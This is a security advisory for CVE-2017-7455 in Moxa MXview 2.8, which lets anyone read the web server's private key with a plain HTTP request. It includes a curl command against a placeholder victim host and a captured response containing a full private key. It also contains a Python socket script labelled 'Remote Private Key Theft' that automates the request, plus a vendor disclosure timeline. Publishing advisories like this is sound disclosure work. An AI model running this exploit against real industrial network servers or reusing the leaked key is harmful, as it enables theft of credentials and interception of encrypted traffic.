Moxa MXview 2.8 - Private Key Disclosure

[+] Credits: John Page AKA HYP3RLINX	

[+] Website: hyp3rlinx.altervista.org

[+] Source:  http://hyp3rlinx.altervista.org/advisories/MOXA-MXVIEW-v2.8-REMOTE-PRIVATE-KEY-DISCLOSURE.txt

[+] ISR: APPARITIONSEC            

 





Vendor:

============

www.moxa.com







Product:

===========

MXview V2.8



Download:

http://www.moxa.com/product/MXstudio.htm



MXview Industrial Network Management Software.



Auto discovery of network devices and physical connections

Event playback for quick troubleshooting

Color-coded VLAN/IGMP groups and other visualized network data

Supports MXview ToGo mobile app for remote monitoring and notification—anytime, anywhere.







Vulnerability Type:

=============================

Remote Private Key Disclosure







CVE Reference:

==============

CVE-2017-7455







Security Issue:

================

MXview stores a copy of its web servers private key under C:\Users\TARGET-USER\AppData\Roaming\moxa\mxview\web\certs\mxview.key.

Remote attackers can easily access/read this private key "mxview.key" file by making an HTTP GET request.



e.g.



curl -v   http://VICTIM-IP:81/certs/mxview.key





* About to connect() to VICTIM-IP port 81

*   Trying VICTIM-IP... connected

* Connected to VICTIM-IP (VICTIM-IP) port 81

> GET /certs/mxview.key HTTP/1.1

> User-Agent: curl/7.15.5 (x86_64-redhat-linux-gnu) libcurl/7.15.5 

> Host: VICTIM-IP:81

> Accept: */*

>

< HTTP/1.1 200 OK

< Date: Tue Feb 28 14:18:00 2017

< Server: GoAhead-Webs

< Last-modified: Tue Feb 28 10:46:51 2017

< Content-length: 916

< Content-type: text/plain

-----BEGIN PRIVATE KEY-----

MIICdwIBADANBgkqhkiG2w0BAQEFAASCAmEwggJdAgEAAoGBAMO2BjHS6rFYqxPb

QCjhVn5+UGwfICfETzk5JQvhkhc71bnsDHI7lVyYhheYLcPQBEglVolwGANPp7LF

2lhG+UaSFfTVk8UDvV0qQpjSQvDjcWSuKBfceyT5zmI8ynxuMHoqBR7ZOSLY31z+

Rxt+JCykwqfMGdjawnC5ivr8iWDpAgMBAAECgYAQpHjwYbQtcpHRtXJGR6s4RHuI

RjlQyGPIRPC+iucGbMMm9Ui1qhVwc1Pry7gQj67dh7dNJqgUGAD1tdd0bEykKoqm

ICgXj0HMPCLxUy4CHIZInsBhzAyp/3atkDIaeELZckCbmttkVvncDi+b9HnuL/To

YwJpuLkpXEKpjK7iAQJBAOof+yliPn7UsBecw/Hc/ixeDRGI1kjtvuOvSi6jLZoj

3rzODMSD1eRcrK/GJydWVT8TV3WXXYn3M1cu3kmQJKkCQQDV/zlBtFFPPVAl1zy7

UBG+RPI63uXeaA0C1+RX2XfJSR4zeKxnWgalzUl0UwMgWB3Gpp2+VW5a/zw3aKlK

6MJBAkBHPMXqWKdVZhfSh3Ojky+PhmqJjE5PUG/FzZ9Pw3zrqsBqSHPgE5Ewc/Zj

YXKmavCbSaJR+GWQxjPL8knWrlJJAkEAkahnEJHrxkO1igw3Ckg0y4yiU+/kBr5M

HONWSXV8U0WxiNdagf6FB9XzaXoXZuyTl+NQ+3yq4MVZ910F3jcQAQJBAI+q0AcX

EskHai2Fx24gkHwwRxacsiXrRClxIj5NB52CSo2Sy6EF02DKQVWR3oIjDesXcWvl

+CPTV6agBkYxe7Q=

-----END PRIVATE KEY-----







Exploit:

=========

import socket



print 'Moxa MXview 2.8 Remote Private Key Theft'

print 'by hyp3rlinx\n'



IP=raw_input("[Moxa MXview IP]> ")

PORT=int(raw_input("[PORT]> "))

STEAL_PRV_KEY="GET /certs/mxview.key HTTP/1.1\r\nHost: "+IP+"\r\n\r\n"



s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

s.connect((IP,PORT))

s.send(STEAL_PRV_KEY)



print 'Enjoy ur private server key!\n'

print s.recv(512)



s.close()









Network Access:

===============

Remote









Severity:

=========

Critical







Disclosure Timeline:

===================================

Vendor Notification:  March 5, 2017

Vendor confirms vulnerability : March 21, 2017

Vendor "updated firmware April 7, 2017" : March 29, 2017

April 9, 2017 : Public Disclosure







[+] Disclaimer

The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.

Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and

that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit

is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility

for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information

or exploits by the author or elsewhere. All content (c).